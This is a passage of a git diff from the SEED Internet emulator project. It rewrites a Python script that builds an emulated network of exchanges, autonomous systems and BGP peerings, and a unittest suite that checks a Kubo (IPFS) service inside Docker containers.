seedemu.services import CymruIpOriginService, ReverseDomainNameService, BgpLookingGlassService -from seedemu.compiler import Docker, Graphviz -from seedemu.hooks import ResolvConfHook -from seedemu.core import Emulator, Service, Binding, Filter -from seedemu.layers import Router -from seedemu.raps import OpenVpnRemoteAccessProvider -from seedemu.utilities import Makers - -from typing import List, Tuple, Dict - - -############################################################################### -emu = Emulator() -base = Base() -routing = Routing() -ebgp = Ebgp() -ibgp = Ibgp() -ospf = Ospf() -web = WebService() -ovpn = OpenVpnRemoteAccessProvider() - - -############################################################################### - -ix100 = base.createInternetExchange(100) -ix101 = base.createInternetExchange(101) -ix102 = base.createInternetExchange(102) -ix103 = base.createInternetExchange(103) -ix104 = base.createInternetExchange(104) -ix105 = base.createInternetExchange(105) - -# Customize names (for visualization purpose) -ix100.getPeeringLan().setDisplayName('NYC-100') -ix101.getPeeringLan().setDisplayName('San Jose-101') -ix102.getPeeringLan().setDisplayName('Chicago-102') -ix103.getPeeringLan().setDisplayName('Miami-103') -ix104.getPeeringLan().setDisplayName('Boston-104') -ix105.getPeeringLan().setDisplayName('Huston-105') - - -############################################################################### -# Create Transit Autonomous Systems - -## Tier 1 ASes -Makers.makeTransitAs(base, 2, [100, 101, 102, 105], - [(100, 101), (101, 102), (100, 105)] -) - -Makers.makeTransitAs(base, 3, [100, 103, 104, 105], - [(100, 103), (100, 105), (103, 105), (103, 104)] -) - -Makers.makeTransitAs(base, 4, [100, 102, 104], - [(100, 104), (102, 104)] -) - -## Tier 2 ASes -Makers.makeTransitAs(base, 11, [102, 105], [(102, 105)]) -Makers.makeTransitAs(base, 12, [101, 104], [(101, 104)]) - - -############################################################################### -# Create single-homed stub ASes. "None" means create a host only - -Makers.makeStubAs(emu, base, 150, 100, [web, None]) -Makers.makeStubAs(emu, base, 151, 100, [web, None]) - -Makers.makeStubAs(emu, base, 152, 101, [None, None]) -Makers.makeStubAs(emu, base, 153, 101, [web, None, None]) - -Makers.makeStubAs(emu, base, 154, 102, [None, web]) - -Makers.makeStubAs(emu, base, 160, 103, [web, None]) -Makers.makeStubAs(emu, base, 161, 103, [web, None]) -Makers.makeStubAs(emu, base, 162, 103, [web, None]) - -Makers.makeStubAs(emu, base, 163, 104, [web, None]) -Makers.makeStubAs(emu, base, 164, 104, [None, None]) - -Makers.makeStubAs(emu, base, 170, 105, [web, None]) -Makers.makeStubAs(emu, base, 171, 105, [None]) - - -# Add a host with customized IP address to AS-154 -as154 = base.getAutonomousSystem(154) -as154.createHost('host_2').joinNetwork('net0', address = '10.154.0.129') - - -# Create real-world AS. -# AS11872 is the Syracuse University's autonomous system - -as11872 = base.createAutonomousSystem(11872) -as11872.createRealWorldRouter('rw').joinNetwork('ix102', '10.102.0.118') - -# Allow outside computer to VPN into AS-152's network -as152 = base.getAutonomousSystem(152) -as152.getNetwork('net0').enableRemoteAccess(ovpn) - - -############################################################################### -# Peering via RS (route server). The default peering mode for RS is PeerRelationship.Peer, -# which means each AS will only export its customers and their own prefixes. -# We will use this peering relationship to peer all the ASes in an IX. -# None of them will provide transit service for others. - -ebgp.addRsPeers(100, [2, 3, 4]) -ebgp.addRsPeers(102, [2, 4]) -ebgp.addRsPeers(104, [3, 4]) -ebgp.addRsPeers(105, [2, 3]) - -# To buy transit services from another autonomous system, -# we will use private peering - -ebgp.addPrivatePeerings(100, [2], [150, 151], PeerRelationship.Provider) -ebgp.addPrivatePeerings(100, [3], [150], PeerRelationship.Provider) - -ebgp.addPrivatePeerings(101, [2], [12], PeerRelationship.Provider) -ebgp.addPrivatePeerings(101, [12], [152, 153], PeerRelationship.Provider) - -ebgp.addPrivatePeerings(102, [2, 4], [11, 154], PeerRelationship.Provider) -ebgp.addPrivatePeerings(102, [11], [154, 11872], PeerRelationship.Provider) - -ebgp.addPrivatePeerings(103, [3], [160, 161, 162], PeerRelationship.Provider) - -ebgp.addPrivatePeerings(104, [3, 4], [12], PeerRelationship.Provider) -ebgp.addPrivatePeerings(104, [4], [163], PeerRelationship.Provider) -ebgp.addPrivatePeerings(104, [12], [164], PeerRelationship.Provider) - -ebgp.addPrivatePeerings(105, [3], [11, 170], PeerRelationship.Provider) -ebgp.addPrivatePeerings(105, [11], [171], PeerRelationship.Provider) - - -############################################################################### - -# Add layers to the emulator -emu.addLayer(base) -emu.addLayer(routing) -emu.addLayer(ebgp) -emu.addLayer(ibgp) -emu.addLayer(ospf) -emu.addLayer(web) - -# Save it to a component file, so it can be used by other emulators -emu.dump('base-component.bin') - -# Uncomment the following if you want to generate the final emulation files -emu.render() -emu.compile(Docker(), './output') - +#!/usr/bin/env python3 +# encoding: utf-8 + +from seedemu.layers import Base, Routing, Ebgp, Ibgp, Ospf, PeerRelationship, Dnssec +from seedemu.services import WebService, DomainNameService, DomainNameCachingService +from seedemu.services import CymruIpOriginService, ReverseDomainNameService, BgpLookingGlassService +from seedemu.compiler import Docker, Graphviz +from seedemu.hooks import ResolvConfHook +from seedemu.core import Emulator, Service, Binding, Filter +from seedemu.layers import Router +from seedemu.raps import OpenVpnRemoteAccessProvider +from seedemu.utilities import Makers + +from typing import List, Tuple, Dict + + +############################################################################### +emu = Emulator() +base = Base() +routing = Routing() +ebgp = Ebgp() +ibgp = Ibgp() +ospf = Ospf() +web = WebService() +ovpn = OpenVpnRemoteAccessProvider() + + +############################################################################### + +ix100 = base.createInternetExchange(100) +ix101 = base.createInternetExchange(101) +ix102 = base.createInternetExchange(102) +ix103 = base.createInternetExchange(103) +ix104 = base.createInternetExchange(104) +ix105 = base.createInternetExchange(105) + +# Customize names (for visualization purpose) +ix100.getPeeringLan().setDisplayName('NYC-100') +ix101.getPeeringLan().setDisplayName('San Jose-101') +ix102.getPeeringLan().setDisplayName('Chicago-102') +ix103.getPeeringLan().setDisplayName('Miami-103') +ix104.getPeeringLan().setDisplayName('Boston-104') +ix105.getPeeringLan().setDisplayName('Huston-105') + + +############################################################################### +# Create Transit Autonomous Systems + +## Tier 1 ASes +Makers.makeTransitAs(base, 2, [100, 101, 102, 105], + [(100, 101), (101, 102), (100, 105)] +) + +Makers.makeTransitAs(base, 3, [100, 103, 104, 105], + [(100, 103), (100, 105), (103, 105), (103, 104)] +) + +Makers.makeTransitAs(base, 4, [100, 102, 104], + [(100, 104), (102, 104)] +) + +## Tier 2 ASes +Makers.makeTransitAs(base, 11, [102, 105], [(102, 105)]) +Makers.makeTransitAs(base, 12, [101, 104], [(101, 104)]) + + +############################################################################### +# Create single-homed stub ASes. "None" means create a host only + +Makers.makeStubAs(emu, base, 150, 100, [web, None]) +Makers.makeStubAs(emu, base, 151, 100, [web, None]) + +Makers.makeStubAs(emu, base, 152, 101, [None, None]) +Makers.makeStubAs(emu, base, 153, 101, [web, None, None]) + +Makers.makeStubAs(emu, base, 154, 102, [None, web]) + +Makers.makeStubAs(emu, base, 160, 103, [web, None]) +Makers.makeStubAs(emu, base, 161, 103, [web, None]) +Makers.makeStubAs(emu, base, 162, 103, [web, None]) + +Makers.makeStubAs(emu, base, 163, 104, [web, None]) +Makers.makeStubAs(emu, base, 164, 104, [None, None]) + +Makers.makeStubAs(emu, base, 170, 105, [web, None]) +Makers.makeStubAs(emu, base, 171, 105, [None]) + + +# Add a host with customized IP address to AS-154 +as154 = base.getAutonomousSystem(154) +as154.createHost('host_2').joinNetwork('net0', address = '10.154.0.129') + + +# Create real-world AS. +# AS11872 is the Syracuse University's autonomous system + +as11872 = base.createAutonomousSystem(11872) +as11872.createRealWorldRouter('rw').joinNetwork('ix102', '10.102.0.118') + +# Allow outside computer to VPN into AS-152's network +as152 = base.getAutonomousSystem(152) +as152.getNetwork('net0').enableRemoteAccess(ovpn) + + +############################################################################### +# Peering via RS (route server). The default peering mode for RS is PeerRelationship.Peer, +# which means each AS will only export its customers and their own prefixes. +# We will use this peering relationship to peer all the ASes in an IX. +# None of them will provide transit service for others. + +ebgp.addRsPeers(100, [2, 3, 4]) +ebgp.addRsPeers(102, [2, 4]) +ebgp.addRsPeers(104, [3, 4]) +ebgp.addRsPeers(105, [2, 3]) + +# To buy transit services from another autonomous system, +# we will use private peering + +ebgp.addPrivatePeerings(100, [2], [150, 151], PeerRelationship.Provider) +ebgp.addPrivatePeerings(100, [3], [150], PeerRelationship.Provider) + +ebgp.addPrivatePeerings(101, [2], [12], PeerRelationship.Provider) +ebgp.addPrivatePeerings(101, [12], [152, 153], PeerRelationship.Provider) + +ebgp.addPrivatePeerings(102, [2, 4], [11, 154], PeerRelationship.Provider) +ebgp.addPrivatePeerings(102, [11], [154, 11872], PeerRelationship.Provider) + +ebgp.addPrivatePeerings(103, [3], [160, 161, 162], PeerRelationship.Provider) + +ebgp.addPrivatePeerings(104, [3, 4], [12], PeerRelationship.Provider) +ebgp.addPrivatePeerings(104, [4], [163], PeerRelationship.Provider) +ebgp.addPrivatePeerings(104, [12], [164], PeerRelationship.Provider) + +ebgp.addPrivatePeerings(105, [3], [11, 170], PeerRelationship.Provider) +ebgp.addPrivatePeerings(105, [11], [171], PeerRelationship.Provider) + + +############################################################################### + +# Add layers to the emulator +emu.addLayer(base) +emu.addLayer(routing) +emu.addLayer(ebgp) +emu.addLayer(ibgp) +emu.addLayer(ospf) +emu.addLayer(web) + +# Save it to a component file, so it can be used by other emulators +emu.dump('base-component.bin') + +# Uncomment the following if you want to generate the final emulation files +emu.render() +emu.compile(Docker(), './output') + diff --git a/tests/kubo/KuboTestCase.py b/tests/kubo/KuboTestCase.py index fd04f3db7..c1fe0c6e3 100755 --- a/tests/kubo/KuboTestCase.py +++ b/tests/kubo/KuboTestCase.py @@ -1,522 +1,522 @@ -#!/usr/bin/env python3 -# encoding: utf-8 - -import random, json, os -import unittest as ut -from seedemu import * -from tests import SeedEmuTestCase -from faker import Faker -from time import sleep -from typing import Set - -LOG_DIR = '/var/log/' -TMP_DIR = '/tmp/kubo/' - -class KuboTestCase(SeedEmuTestCase): - @classmethod - def ctCmd(cls, container, cmd, **kwargs) -> Tuple[int, str]: - """Runs a command on a given container. - - Parameters - ---------- - container : _type_ - A docker container that is currently running. - cmd : str - The command to be run. - - Returns - ------- - Tuple[int, str] - A tuple of the exit code (int) and the command output (str). - """ - exit_code, output = container.exec_run(cmd, **kwargs) - - return exit_code, output - - @classmethod - def getCtName(cls, container) -> str: - """Get the name of a Docker container. - - Parameters - ---------- - container : _type_ - A docker container. - - Returns - ------- - str - The name of the container. - """ - return container.attrs.get("Name").strip('/') - - @classmethod - def getCtKuboLabel(cls, container, key:str) -> str: - """Get the value of a given label for the Kubo service. - - Parameters - ---------- - container : Docker Container - An instnace representing a Docker container. - key : str - A string representing the path of the label (e.g. 'version', 'test.groups') - - Returns - ------- - str - Value of that label. - """ - label = container.attrs["Config"]["Labels"].get(f'org.seedsecuritylabs.seedemu.meta.kubo.{key}', '') - try: - label = json.loads(label) - except: - pass - - return label - - @classmethod - def isKubo(cls, container) -> bool: - """Check if a container is a Kubo node. - - Parameters - ---------- - container : Docker Container - A docker container object. - - Returns - ------- - bool - True if the container is running Kubo. - """ - try: - isKubo = 'KuboService' in json.loads(container.attrs["Config"]["Labels"].get("org.seedsecuritylabs.seedemu.meta.class", "[]")) - except: - exit_code, _ = cls.ctCmd(container, "ipfs") - isKubo = exit_code == 0 - return isKubo - - @classmethod - def isBoot(cls, container) -> bool: - """Check if a container is a Kubo boot node. - - Parameters - ---------- - container : _type_ - A Docker container object - - Returns - ------- - bool - True if the container is a Kubo boot node. - """ - - return container.attrs["Config"]["Labels"].get("org.seedsecuritylabs.seedemu.meta.kubo.boot_node", "False") == "True" - - - @classmethod - def getTestGroups(cls, container) -> Set[str]: - """Get test group as specified in container label. - Label located at org.seedsecuritylabs.seedemu.meta.kubo.test.group - Formatted as a list '["group1", "group2"]' - - Parameters - ---------- - container : Docker Container - Docker container object. - - Returns - ------- - list[str] - Label representing group; empty list if none. - """ - labels = set(json.loads(container.attrs["Config"]["Labels"].get("org.seedsecuritylabs.seedemu.meta.kubo.test.group", "\"\""))) - - # Get additional groups defined in the internal data structure: - for group in cls.kubo_containers: - if container in cls.kubo_containers[group]: - labels.add(group) - - return labels - - - @classmethod - def addTestGroup(cls, container, group:str) -> None: - """Add a container to a test group at runtime. - - Parameters - ---------- - container : Docker Container - A Docker container instance. - group : str - String representing a group (default groups are 'all' and 'boot'). - """ - # Add to the specified group, creating the group if it doesn't exist: - if group not in cls.kubo_containers: cls.kubo_containers[group] = set() - cls.kubo_containers[group].add(container) - - - @classmethod - def getTestContainers(cls, group:str='all') -> list: - """Get a list of container objects for a given test group. - - Parameters - ---------- - group : str, optional - Test group specified in container label (automatically 'all' and 'boot' groups), by default 'all' - - Returns - ------- - list - List of Docker container objects in the requested test group. - """ - # Iterate through all Kubo containers and gather by group: - return cls.kubo_containers.get(group, []) - - @classmethod - def pullKuboLogs(cls, container) -> None: - """Retrieve Kubo bootstrap log file from container and place it in the test_log directory. - - Parameters - ---------- - container : Docker Container - A Docker container running Kubo. - """ - assert cls.isKubo(container), f"Cannot pull Kubo bootstrap logs; {cls.getCtName(container)} is not running Kubo." - - exit_code, output = cls.ctCmd(container, "cat /var/log/kubo_bootstrap.log") - if exit_code == 0: - log_contents = output.decode() - log_file = os.path.join(cls.kubo_test_log_dir, f"{cls.getCtName(container)}_log") - with open(log_file, 'w') as f: - f.write(log_contents) - else: - raise Exception(output.decode()) - - @classmethod - def setUpClass(cls) -> None: - super().setUpClass(testLogOverwrite=True) - - # Populate some class variables: - cls.fake = Faker() - cls.regexPatterns = { - 'ipv4': '([0-9]{1,3}\.){3}[0-9]{1,3}', - 'port': '[0-9]{1,5}' - } - cls.kubo_log_dir = LOG_DIR if LOG_DIR.endswith('/') else LOG_DIR + '/' - cls.kubo_tmp_dir = TMP_DIR if TMP_DIR.endswith('/') else TMP_DIR + '/' - - # Create additional log folder: - cls.kubo_test_log_dir = os.path.join(cls.init_dir, cls.test_log, 'kubo_bootstrap/') - # Create log directory if it doesn't already exist - # Note: won't exist if first run or if overwriting logs. - if not os.path.exists(cls.kubo_test_log_dir): - os.mkdir(cls.kubo_test_log_dir) - - cls.wait_until_all_containers_up(31) - - # Populate the cls.kubo_containers data structure: {group: [container1, container2]} - cls.kubo_containers = { - 'all': set() - } - for ct in cls.containers: - # If this is any sort of Kubo container, add it to the "all" group: - if cls.isKubo(ct): - if 'all' not in cls.kubo_containers: cls.kubo_containers['all'] = set() - cls.kubo_containers['all'].add(ct) - # If this is a boot node, add it to that group: - if cls.isBoot(ct): - if 'boot' not in cls.kubo_containers: cls.kubo_containers['boot'] = set() - cls.kubo_containers['boot'].add(ct) - # If this is in another group, add it to that group: - for g in cls.getTestGroups(ct): - if g not in cls.kubo_containers: cls.kubo_containers[g] = set() - cls.kubo_containers[g].add(ct) - - # Just create a test file on few random nodes: - numFiles:int = 3 - # cls.kubo_file_host_containers = {} # {container: {'cid': cid, 'contents': file_contents}} - cls.kubo_test_files = {} # {container_short_id : {'cid': cid, 'contents': file_contents}} - cts = random.sample(cls.getTestContainers(group='basic'), numFiles) - for i in range(numFiles): - ct = cts[i] - file_contents = f'Test File {i}\n{cls.fake.sentence()}' - exit_code, output = cls.ctCmd(ct, f"""bash -c 'echo "{file_contents}" > test.txt'""", workdir=cls.kubo_tmp_dir) - if exit_code != 0: - cls.printLog(f'Failed to add test file ({exit_code}): {output.decode()}') - else: - cls.addTestGroup(ct, 'file_host') - cls.kubo_test_files[ct.short_id] = {'contents': file_contents} - - # Display test container groups: - containersGroups = {cls.getCtName(ct) : cls.getTestGroups(ct) for ct in cls.getTestContainers()} - cls.printLog(f'{" Test Containers: ":-^100}') - for ctName, ctGroups in containersGroups.items(): - cls.printLog(f'{ctName}: {", ".join(ctGroups)}') - return - - @classmethod - def tearDownClass(cls) -> None: - # Retrieve bootstrapping log files from each node before teardown: - for ct in cls.getTestContainers(): - try: - cls.pullKuboLogs(ct) - except Exception as e: - cls.printLog(f'KuboTestCase::tearDownClass FAILED\n\t{e}') - cls.printLog(f"\t{cls.ctCmd(ct, f'ls {cls.kubo_log_dir}')[1].decode()}") - - super().tearDownClass() - - - def test_kubo_install(self): - self.printLog(f'{" Test Case: test_kubo_install ":=^100}') - for ct in self.getTestContainers(): - with self.subTest(container=self.getCtName(ct)): - exit_code, _ = self.ctCmd(ct, "ipfs") - self.assertEqual(exit_code, 0, 'Could not run the IPFS binary') - self.printLog(f'{self.getCtName(ct)} [PASS]') - - - def test_kubo_version(self): - self.printLog(f'{" Test Case: test_kubo_version ":=^100}') - - for ct in self.getTestContainers(): - with self.subTest(container=self.getCtName(ct)): - exit_code, output = self.ctCmd(ct, 'ipfs version') - self.assertEqual(exit_code, 0) - # Get version strings from container label (on build) and from runtime: - kuboVersion = re.search('(?:\d{1,3}\.){2}(?:\d{1,3})', output.decode()) - intendedVersion = re.search('(?:\d{1,3}\.){2}(?:\d{1,3})', self.getCtKuboLabel(ct, 'version')) - # Check that versions match: - self.assertIsNotNone(kuboVersion) - self.assertIsNotNone(intendedVersion) - kuboVersion = kuboVersion.group(0) - intendedVersion = intendedVersion.group(0) - self.assertEqual(kuboVersion, intendedVersion) - self.printLog(f'{self.getCtName(ct)}: {kuboVersion} [PASS]') - - - def test_bootstrap_script(self): - self.printLog(f'{" Test Case: test_bootstrap_script ":=^100}') - for ct in self.getTestContainers(): - with self.subTest(container=self.getCtName(ct)): - self.printLog(f'{self.getCtName(ct)}:') - # Make sure bootstrap script is present: - exit_code, _ = self.ctCmd(ct, f'cat {self.kubo_tmp_dir}bootstrap.sh') - self.assertEqual(exit_code, 0) - self.printLog('\tScript Present [PASS]') - - # Make sure bootstrap script has run: - exit_code, output = self.ctCmd(ct, f'cat {self.kubo_log_dir}kubo_bootstrap.log') - self.assertEqual(exit_code, 0) - self.assertGreater(len(output.decode()), 0) - self.printLog('\tScript Run [PASS]') - - - def test_bootstrap_list(self): - self.printLog(f'{" Test Case: test_bootstrap_list ":=^100}') - for ct in self.getTestContainers(group='basic'): - with self.subTest(container=self.getCtName(ct)): - self.printLog(f'{self.getCtName(ct)}:') - exit_code, output = self.ctCmd(ct, "ipfs bootstrap list") - # Check overall command output: - self.assertEqual(exit_code, 0) - bootstrap_list = output.decode().splitlines() - self.assertEqual(len(self.getTestContainers(group='boot')), len(bootstrap_list)) - # Evaluate indvidual entries: - for b in bootstrap_list: - self.printLog(f'\t{b}') - self.assertRegexpMatches(b, f'/ip4/{self.regexPatterns["ipv4"]}/tcp/{self.regexPatterns["port"]}/p2p/.*') - - - def test_service_config(self): - self.printLog(f'{" Test Case: test_service_config ":=^100}') - - for ct in self.getTestContainers(group='basic'): - with self.subTest(container=self.getCtName(ct)): - self.printLog(f'{self.getCtName(ct)}:') - - # Confirm RPC API address bound to all interfaces: - exit_code, output = self.ctCmd(ct, 'ipfs config Addresses.API') - self.assertEqual(exit_code, 0) - self.assertEqual(output.decode().strip(), '/ip4/0.0.0.0/tcp/5001') - self.printLog('\t[PASS] RPC API') - - # Confirm HTTP Gateway address bound to all interfaces: - exit_code, output = self.ctCmd(ct, 'ipfs config Addresses.Gateway') - self.assertEqual(exit_code, 0) - self.assertEqual(output.decode().strip(), '/ip4/0.0.0.0/tcp/8080') - self.printLog('\t[PASS] HTTP Gateway') - - def test_peering(self): - self.printLog(f'{" Test Case: test_peering ":=^100}') - - for ct in self.getTestContainers(group='basic'): - with self.subTest(container=self.getCtName(ct)): - # Attempt to fetch peers multiple times to allow peering relationships to form: - peers = [] - attempts = 6 # Wait max of 30s per node. - while (attempts > 0) and (len(peers) < len(self.getTestContainers(group='basic'))): - exit_code, output = self.ctCmd(ct, "ipfs swarm peers") - if exit_code == 0: - peers = output.decode().splitlines() - attempts -= 1 - # Only wait if we would still fail the test: - if len(peers) < len(self.getTestContainers(group='basic')): - sleep(3) - - # Print results to logs: - self.printLog(f'{self.getCtName(ct)} ({len(peers)}):') - # Print peers to logs: - for p in peers: - self.printLog(f'\t{p}') - - self.assertGreaterEqual(len(peers), len(self.getTestContainers(group='basic')) - 1) - - - def test_kubo_add(self): - self.printLog(f'{" Test Case: test_kubo_add ":=^100}') - - # Each of these containers has a file test.txt in the Kubo temp directory (KuboTestCase::SetUpClass): - for ct in self.getTestContainers(group='file_host'): - with self.subTest(container=self.getCtName(ct)): - self.printLog(f'{self.getCtName(ct)}: ', end='') - - exit_code, output = self.ctCmd(ct, 'ipfs add test.txt', workdir=self.kubo_tmp_dir) - self.assertEqual(exit_code, 0, f'Command failed with output: {output}') - - # Get CID from output of the ips add command: - cid = re.search('added ([a-zA-Z0-9]+) \S+', output.decode().strip()) - - # Process CID further if it was found in the IPFS output: - self.assertIsNotNone(cid) - cid = cid.group(1) - self.kubo_test_files[ct.short_id]['cid'] = cid - self.printLog(f'[PASS] Added file with CID of {cid}') - - - def test_kubo_cat(self): - self.printLog(f'{" Test Case: test_kubo_cat ":=^100}') - - # Make sure that each Kubo node can access each file added: - for ct in self.getTestContainers(group='basic'): - with self.subTest(container=self.getCtName(ct), file_host='file_host' in self.getTestGroups(ct)): - self.printLog(f'{self.getCtName(ct)}:') - exit_code, _ = self.ctCmd(ct, 'ipfs id') - if exit_code != 0: sleep(10) - - # Check that node can access file through IPFS (skip if this node originates the data): - for ct_id, file_info in self.kubo_test_files.items(): - if ct_id != ct.short_id: - exit_code, output = self.ctCmd(ct,['ipfs', 'cat', file_info['cid']], demux=True) - self.assertIsNotNone(output, f'Command not executed successfully on container. {output}') - self.assertIsNotNone(exit_code, f'Command not executed successfully on container. {output}') - self.assertEqual(exit_code, 0, f'Command not executed successfully on container. {output[0]} {output[1]}') - self.assertEqual(output[0].decode().strip(), file_info["contents"], 'Unexpected test file contents.') - self.printLog(f'\tipfs cat {file_info["cid"]} [PASS]') - else: - self.printLog(f'\tipfs cat {file_info["cid"]} [SKIP] *') - - - def test_specify_profile(self): - self.printLog(f'{" Test Case: test_specify_profile ":=^100}') - - # Find the container with profile testing flag: - for ct in self.getTestContainers(group='profile'): - with self.subTest(container=self.getCtName(ct)): - with open(os.path.join(self.init_dir, self.test_log, 'config.json'), 'w') as f: - exit_code, output = self.ctCmd(ct, 'cat config', workdir='/root/.ipfs') - self.assertEqual(exit_code, 0) - config = json.loads(output) - # Check against changes this profile applies to the config: - self.assertIn('Type', config.get('Swarm').get('ConnMgr')) - self.assertEqual(config.get('Reprovider').get('Interval'), '0s') - self.assertEqual(config.get('AutoNAT').get('ServiceMode'), 'disabled') - self.printLog(f'{self.getCtName(ct)}: [PASS]') - - - def test_replace_config(self): - self.printLog(f'{" Test Case: test_replace_config ":=^100}') - - for ct in self.getTestContainers(group='replace_config'): - with self.subTest(container=self.getCtName(ct)): - # Get actual config from the container: - exit_code, output = self.ctCmd(ct, 'cat config', workdir='/root/.ipfs') - self.assertEqual(exit_code, 0) - ct_config = json.loads(output) - - # Get the test config from a file: - with open(os.path.join(self.emulator_code_dir, 'sample-config.json'), 'r') as f: - test_config = json.loads(f.read()) - - # Ensure that actual and test config are the same: - self.assertEqual(ct_config, test_config) - - self.printLog(f'{self.getCtName(ct)}: [PASS]') - - def test_import_config(self): - self.printLog(f'{" Test Case: test_import_config ":=^100}') - - for ct in self.getTestContainers(group='import_config'): - with self.subTest(container=self.getCtName(ct)): - # Get actual config from the container: - exit_code, output = self.ctCmd(ct, 'ipfs config API.HTTPHeaders.Access-Control-Allow-Origin') - self.assertEqual(exit_code, 0) - ct_config = json.loads(output) - test_config = ["*"] - - # Ensure that actual and test config are the same: - self.assertEqual(ct_config, test_config) - - self.printLog(f'{self.getCtName(ct)}: [PASS]') - - def test_set_config(self): - self.printLog(f'{" Test Case: test_set_config ":=^100}') - - # Test cases (key, value) pairs: - cases = [ - ('API.HTTPHeaders.Access-Control-Allow-Origin', ["*"]), - ('Gateway.ExposeRoutingAPI', True), - ('Gateway.RootRedirect', 'ThisIsOnlyATest') - ] - - for ct in self.getTestContainers(group='set_config'): - with self.subTest(container=self.getCtName(ct)): - for configKey, expectedVal in cases: - # Get actual config from the container: - exit_code, output = self.ctCmd(ct, f'ipfs config {configKey}') - self.assertEqual(exit_code, 0, f'Failed with output: {output}') - try: - ct_config = json.loads(output) - except: - ct_config = output.decode().strip() - - # Ensure that actual and test config are the same: - self.assertEqual(ct_config, expectedVal, f'Failed test case {configKey}') - - self.printLog(f'{self.getCtName(ct)}: [PASS]') - - - @classmethod - def get_test_suite(cls): - test_suite = ut.TestSuite() - test_suite.addTest(cls('test_kubo_install')) - test_suite.addTest(cls('test_kubo_version')) - test_suite.addTest(cls('test_bootstrap_script')) - test_suite.addTest(cls('test_bootstrap_list')) - test_suite.addTest(cls('test_service_config')) - test_suite.addTest(cls('test_peering')) - test_suite.addTest(cls('test_kubo_add')) - test_suite.addTest(cls('test_kubo_cat')) - test_suite.addTest(cls('test_specify_profile')) - test_suite.addTest(cls('test_replace_config')) - test_suite.addTest(cls('test_import_config')) - test_suite.addTest(cls('test_set_config')) - return test_suite - - -if __name__ == "__main__": - test_suite = KuboTestCase.get_test_suite() - res = ut.TextTestRunner(verbosity=2).run(test_suite) - - KuboTestCase.printLog(f'{" Test Results ":=^100}') - num, errs, fails = res.testsRun, len(res.errors), len(res.failures) - KuboTestCase.printLog("score: %d of %d (%d errors, %d failures)" % (num - (errs+fails), num, errs, fails)) +#!/usr/bin/env python3 +# encoding: utf-8 + +import random, json, os +import unittest as ut +from seedemu import * +from tests import SeedEmuTestCase +from faker import Faker +from time import sleep +from typing import Set + +LOG_DIR = '/var/log/' +TMP_DIR = '/tmp/kubo/' + +class KuboTestCase(SeedEmuTestCase): + @classmethod + def ctCmd(cls, container, cmd, **kwargs) -> Tuple[int, str]: + """Runs a command on a given container. + + Parameters + ---------- + container : _type_ + A docker container that is currently running. + cmd : str + The command to be run. + + Returns + ------- + Tuple[int, str] + A tuple of the exit code (int) and the command output (str). + """ + exit_code, output = container.exec_run(cmd, **kwargs) + + return exit_code, output + + @classmethod + def getCtName(cls, container) -> str: + """Get the name of a Docker container. + + Parameters + ---------- + container : _type_ + A docker container. + + Returns + ------- + str + The name of the container. + """ + return container.attrs.get("Name").strip('/') + + @classmethod + def getCtKuboLabel(cls, container, key:str) -> str: + """Get the value of a given label for the Kubo service. + + Parameters + ---------- + container : Docker Container + An instnace representing a Docker container. + key : str + A string representing the path of the label (e.g. 'version', 'test.groups') + + Returns + ------- + str + Value of that label. + """ + label = container.attrs["Config"]["Labels"].get(f'org.seedsecuritylabs.seedemu.meta.kubo.{key}', '') + try: + label = json.loads(label) + except: + pass + + return label + + @classmethod + def isKubo(cls, container) -> bool: + """Check if a container is a Kubo node. + + Parameters + ---------- + container : Docker Container + A docker container object. + + Returns + ------- + bool + True if the container is running Kubo. + """ + try: + isKubo = 'KuboService' in json.loads(container.attrs["Config"]["Labels"].get("org.seedsecuritylabs.seedemu.meta.class", "[]")) + except: + exit_code, _ = cls.ctCmd(container, "ipfs") + isKubo = exit_code == 0 + return isKubo + + @classmethod + def isBoot(cls, container) -> bool: + """Check if a container is a Kubo boot node. + + Parameters + ---------- + container : _type_ + A Docker container object + + Returns + ------- + bool + True if the container is a Kubo boot node. + """ + + return container.attrs["Config"]["Labels"].get("org.seedsecuritylabs.seedemu.meta.kubo.boot_node", "False") == "True" + + + @classmethod + def getTestGroups(cls, container) -> Set[str]: + """Get test group as specified in container label. + Label located at org.seedsecuritylabs.seedemu.meta.kubo.test.group + Formatted as a list '["group1", "group2"]' + + Parameters + ---------- + container : Docker Container + Docker container object. + + Returns + ------- + list[str] + Label representing group; empty list if none. + """ + labels = set(json.loads(container.attrs["Config"]["Labels"].get("org.seedsecuritylabs.seedemu.meta.kubo.test.group", "\"\""))) + + # Get additional groups defined in the internal data structure: + for group in cls.kubo_containers: + if container in cls.kubo_containers[group]: + labels.add(group) + + return labels + + + @classmethod + def addTestGroup(cls, container, group:str) -> None: + """Add a container to a test group at runtime. + + Parameters + ---------- + container : Docker Container + A Docker container instance. + group : str + String representing a group (default groups are 'all' and 'boot'). + """ + # Add to the specified group, creating the group if it doesn't exist: + if group not in cls.kubo_containers: cls.kubo_containers[group] = set() + cls.kubo_containers[group].add(container) + + + @classmethod + def getTestContainers(cls, group:str='all') -> list: + """Get a list of container objects for a given test group. + + Parameters + ---------- + group : str, optional + Test group specified in container label (automatically 'all' and 'boot' groups), by default 'all' + + Returns + ------- + list + List of Docker container objects in the requested test group. + """ + # Iterate through all Kubo containers and gather by group: + return cls.kubo_containers.get(group, []) + + @classmethod + def pullKuboLogs(cls, container) -> None: + """Retrieve Kubo bootstrap log file from container and place it in the test_log directory. + + Parameters + ---------- + container : Docker Container + A Docker container running Kubo. + """ + assert cls.isKubo(container), f"Cannot pull Kubo bootstrap logs; {cls.getCtName(container)} is not running Kubo." + + exit_code, output = cls.ctCmd(container, "cat /var/log/kubo_bootstrap.log") + if exit_code == 0: + log_contents = output.decode() + log_file = os.path.join(cls.kubo_test_log_dir, f"{cls.getCtName(container)}_log") + with open(log_file, 'w') as f: + f.write(log_contents) + else: + raise Exception(output.decode()) + + @classmethod + def setUpClass(cls) -> None: + super().setUpClass(testLogOverwrite=True) + + # Populate some class variables: + cls.fake = Faker() + cls.regexPatterns = { + 'ipv4': '([0-9]{1,3}\.){3}[0-9]{1,3}', + 'port': '[0-9]{1,5}' + } + cls.kubo_log_dir = LOG_DIR if LOG_DIR.endswith('/') else LOG_DIR + '/' + cls.kubo_tmp_dir = TMP_DIR if TMP_DIR.endswith('/') else TMP_DIR + '/' + + # Create additional log folder: + cls.kubo_test_log_dir = os.path.join(cls.init_dir, cls.test_log, 'kubo_bootstrap/') + # Create log directory if it doesn't already exist + # Note: won't exist if first run or if overwriting logs. + if not os.path.exists(cls.kubo_test_log_dir): + os.mkdir(cls.kubo_test_log_dir) + + 